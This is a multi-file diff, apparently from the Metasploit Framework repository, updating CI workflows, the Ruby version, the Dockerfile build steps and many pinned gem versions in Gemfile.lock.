||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- smb
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -33,7 +33,7 @@ jobs:
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
@@ -64,10 +64,10 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview2'
|
||||
- '3.3'
|
||||
- '3.4.0-preview1'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
@@ -76,7 +76,7 @@ jobs:
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -86,6 +86,7 @@ jobs:
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
steps:
|
||||
@@ -93,11 +94,10 @@ jobs:
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -15,6 +15,7 @@ space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
dledda-r7 <dledda-r7@github> <diego_ledda@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.0.5
|
||||
3.1.5
|
||||
|
||||
+16
-5
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.0.5-alpine3.15 AS builder
|
||||
FROM ruby:3.1.5-alpine3.18 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
@@ -49,8 +53,9 @@ RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.0.5-alpine3.15
|
||||
FROM ruby:3.1.5-alpine3.18
|
||||
LABEL maintainer="Rapid7"
|
||||
ARG TARGETARCH
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
@@ -62,7 +67,13 @@ RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm mingw-w64-gcc
|
||||
openssl-dev nasm
|
||||
RUN\
|
||||
if [ "${TARGETARCH}" = "arm64" ];\
|
||||
then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\
|
||||
else apk add --no-cache mingw-w64-gcc;\
|
||||
fi
|
||||
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
@@ -52,3 +52,4 @@ group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+163
-146
@@ -1,7 +1,9 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.41)
|
||||
metasploit-framework (6.4.13)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -10,20 +12,25 @@ PATH
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
base64
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bigdecimal
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
csv
|
||||
dnsruby
|
||||
drb
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faraday (= 2.7.11)
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
filesize
|
||||
getoptlong
|
||||
hrr_rb_ssh-ed25519
|
||||
http-cookie
|
||||
irb (~> 1.7.4)
|
||||
@@ -33,11 +40,12 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.159)
|
||||
metasploit-payloads (= 2.0.166)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
msgpack (~> 1.6.0)
|
||||
mutex_m
|
||||
nessus_rest
|
||||
net-imap
|
||||
net-ldap
|
||||
@@ -45,7 +53,7 @@ PATH
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri (~> 1.14.0)
|
||||
nokogiri
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
@@ -60,6 +68,7 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -80,11 +89,11 @@ PATH
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.2.0)
|
||||
ruby_smb (~> 3.3.3)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sqlite3 (= 1.7.3)
|
||||
sshkey
|
||||
swagger-blocks
|
||||
thin
|
||||
@@ -102,37 +111,40 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.8)
|
||||
actionview (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
Ascii85 (1.1.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.0.8.4)
|
||||
actionview (= 7.0.8.4)
|
||||
activesupport (= 7.0.8.4)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionview (7.0.8.4)
|
||||
activesupport (= 7.0.8.4)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activerecord (7.0.8)
|
||||
activemodel (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activesupport (7.0.8)
|
||||
activemodel (7.0.8.4)
|
||||
activesupport (= 7.0.8.4)
|
||||
activerecord (7.0.8.4)
|
||||
activemodel (= 7.0.8.4)
|
||||
activesupport (= 7.0.8.4)
|
||||
activesupport (7.0.8.4)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.5)
|
||||
addressable (2.8.6)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.23.0)
|
||||
allure-ruby-commons (= 2.23.0)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.23.0)
|
||||
allure-ruby-commons (2.24.5)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
@@ -140,59 +152,61 @@ GEM
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.834.0)
|
||||
aws-sdk-core (3.185.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.941.0)
|
||||
aws-sdk-core (3.197.0)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (~> 1.8)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.411.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2 (1.460.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-ec2instanceconnect (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2instanceconnect (1.41.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.87.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-iam (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.72.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-kms (1.83.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.136.0)
|
||||
aws-sdk-core (~> 3, >= 3.181.0)
|
||||
aws-sdk-s3 (1.152.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.6)
|
||||
aws-sdk-ssm (1.158.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.8)
|
||||
aws-sdk-ssm (1.170.0)
|
||||
aws-sdk-core (~> 3, >= 3.197.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.6.0)
|
||||
aws-sigv4 (1.8.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.1.1)
|
||||
bcrypt (3.1.19)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
bigdecimal (3.1.8)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
bootsnap (1.18.3)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
bson (5.0.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
concurrent-ruby (1.3.1)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
daemons (1.4.1)
|
||||
date (3.3.3)
|
||||
date (3.3.4)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.70.0)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.1)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
domain_name (0.6.20240107)
|
||||
drb (2.2.1)
|
||||
ed25519 (1.3.0)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
@@ -204,26 +218,27 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.12.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
factory_bot (6.4.6)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
factory_bot_rails (6.4.3)
|
||||
factory_bot (~> 6.4)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.2.1)
|
||||
faker (3.4.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.2.0)
|
||||
faraday-retry (2.2.1)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.16.3)
|
||||
ffi (1.17.0)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
getoptlong (0.2.1)
|
||||
gssapi (1.3.1)
|
||||
ffi (>= 1.0.1)
|
||||
gyoku (1.4.0)
|
||||
@@ -234,25 +249,25 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.5)
|
||||
http-cookie (1.0.6)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.1)
|
||||
i18n (1.14.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
io-console (0.7.2)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.3)
|
||||
json (2.7.2)
|
||||
language_server-protocol (3.17.0.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.21.3)
|
||||
loofah (2.22.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
@@ -264,7 +279,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-credential (6.0.9)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -278,7 +293,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.159)
|
||||
metasploit-payloads (2.0.166)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -290,34 +305,36 @@ GEM
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.5.1)
|
||||
method_source (1.1.0)
|
||||
mime-types (3.5.2)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2023.1003)
|
||||
mini_portile2 (2.8.4)
|
||||
minitest (5.20.0)
|
||||
mime-types-data (3.2024.0604)
|
||||
mini_portile2 (2.8.7)
|
||||
minitest (5.23.1)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.4.0)
|
||||
net-imap (0.4.12)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
net-ldap (0.19.0)
|
||||
net-protocol (0.2.2)
|
||||
timeout
|
||||
net-smtp (0.4.0)
|
||||
net-smtp (0.5.0)
|
||||
net-protocol
|
||||
net-ssh (7.2.0)
|
||||
net-ssh (7.2.3)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.9)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
nio4r (2.7.3)
|
||||
nokogiri (1.16.5)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
nori (2.7.0)
|
||||
bigdecimal
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
@@ -326,31 +343,32 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.4)
|
||||
parallel (1.24.0)
|
||||
parser (3.3.2.0)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
pcaprub (0.13.2)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.5.4)
|
||||
pg (1.5.6)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.3)
|
||||
puma (6.4.0)
|
||||
public_suffix (5.0.5)
|
||||
puma (6.4.2)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.7.1)
|
||||
rack (2.2.8)
|
||||
rack-protection (3.1.0)
|
||||
racc (1.8.0)
|
||||
rack (2.2.9)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
@@ -361,23 +379,23 @@ GEM
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8)
|
||||
actionpack (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
railties (7.0.8.4)
|
||||
actionpack (= 7.0.8.4)
|
||||
activesupport (= 7.0.8.4)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.2)
|
||||
recog (3.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.8)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
@@ -388,7 +406,7 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.31)
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -411,75 +429,76 @@ GEM
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.11)
|
||||
rex-random_identifier (0.1.12)
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.54)
|
||||
rex-socket (0.1.57)
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-text (0.2.58)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.6)
|
||||
rexml (3.2.8)
|
||||
strscan (>= 3.0.9)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (6.1.2)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-core (~> 3.13)
|
||||
rspec-expectations (~> 3.13)
|
||||
rspec-mocks (~> 3.13)
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.1)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
rspec-support (3.13.1)
|
||||
rubocop (1.64.1)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.2.3)
|
||||
parser (>= 3.3.0.2)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.28.1, < 2.0)
|
||||
rubocop-ast (>= 1.31.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (4.0.0)
|
||||
rubocop-ast (1.31.3)
|
||||
parser (>= 3.3.1.0)
|
||||
ruby-macho (4.0.1)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.6)
|
||||
bindata
|
||||
ruby_smb (3.3.9)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.3)
|
||||
rubyntlm (0.6.4)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
@@ -488,36 +507,34 @@ GEM
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.1.0)
|
||||
simpleidn (0.2.3)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.1.0)
|
||||
rack-protection (= 3.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.6)
|
||||
sqlite3 (1.7.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
strscan (3.1.0)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.2.3)
|
||||
test-prof (1.3.3)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.2)
|
||||
thor (1.3.1)
|
||||
tilt (2.3.0)
|
||||
timecop (0.9.8)
|
||||
timeout (0.4.0)
|
||||
ttfunk (1.7.0)
|
||||
timecop (0.9.9)
|
||||
timeout (0.4.1)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo-data (1.2024.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.5.0)
|
||||
unix-crypt (1.3.1)
|
||||
uuid (2.3.9)
|
||||
@@ -544,8 +561,8 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.12)
|
||||
yard (0.9.36)
|
||||
zeitwerk (2.6.15)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+98
-97
